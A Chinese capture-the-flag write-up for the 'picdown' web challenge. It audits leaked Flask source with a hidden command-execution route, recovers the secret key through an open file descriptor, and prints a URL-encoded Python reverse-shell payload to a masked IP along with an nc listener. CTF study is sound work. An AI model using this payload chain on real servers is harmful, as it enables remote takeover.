picdown

抓包发现存在文件包含漏洞:

在main.py下面暴露的flask的源代码

from flask import Flask, Response, render_template, request
import os
import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE, 'r')
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE) @app.route('/')
def index():
return render_template('search.html') @app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except Exception as e:
print(e)
value = "SOMETHING WRONG!"
return render_template('search.html', res=value) @app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!" return res if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, use_reloader=False)

代码审计发现,no_one_know_the_manager页面下接收key和shell,key要求和secret_key一样。

但是secret.txt读不了

但是这个文件是用open打开的,会创建文件描述符。我们读这个文件描述符中的内容就好了

找到了key=2e3658a3c99be231c2b3b0cc260528c4

现在可以执行系统命令了

但是不会回显,要反弹shell了。

python脚本反弹shell

/no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

服务器:nc -lvvp 8080

可以成功反弹shell,最终在/root/flag.txt中得到flag:

其他web题目,ctf平台没有上环境...

待续....

最新文章

  1. Ajax实现原理,代码封装
  2. Windows 下的 Redis 的启动
  3. Javascript 中的一些关于时间的操作【转】
  4. Microsoft Visual Studio 2010 VSTS单元测试指南
  5. 牛客网 --java问答题
  6. IDataReader转换成list通用方法
  7. 【freemaker】之整合springMVC
  8. ZOJ 2599 Graduated Lexicographical Ordering (数位DP)
  9. 移动前端工作的那些事---前端制作篇之meta标签篇
  10. IOS 后台运行
  11. TCP状态转换图
  12. 《多线程操作之生产者消费者》(单生产单消费&多生产多消费)
  13. Windows以及Linux系统文件、文件夹命名规则
  14. java使用wait(),notify(),notifyAll()实现等待/通知机制
  15. solrj 测试连接 6.6.5solr集群
  16. 【WP8】LoopingSelector
  17. drizzleDumper的原理分析和使用说明
  18. 使用Chrome快速实现数据的抓取(四)——优点
  19. [转]程序集之GAC---Global Assembly Cache
  20. [转]使用popBackStack()清除Fragment

热门文章

  1. 基于SSM风格的Java源代码生成器
  2. 有个姑娘叫history
  3. JAVA8学习——Stream底层的实现一(学习过程)
  4. Linux 内存分析工具的命令大全介绍
  5. yum配置及使用命令
  6. java 接口 文件传输
  7. 三种移除list中的元素(可靠)
  8. prometheus监控java项目(jvm等):k8s外、k8s内
  9. bugku-Web md5 collision writeup
  10. 国内专业web报表工具,完美解决中国式报表难题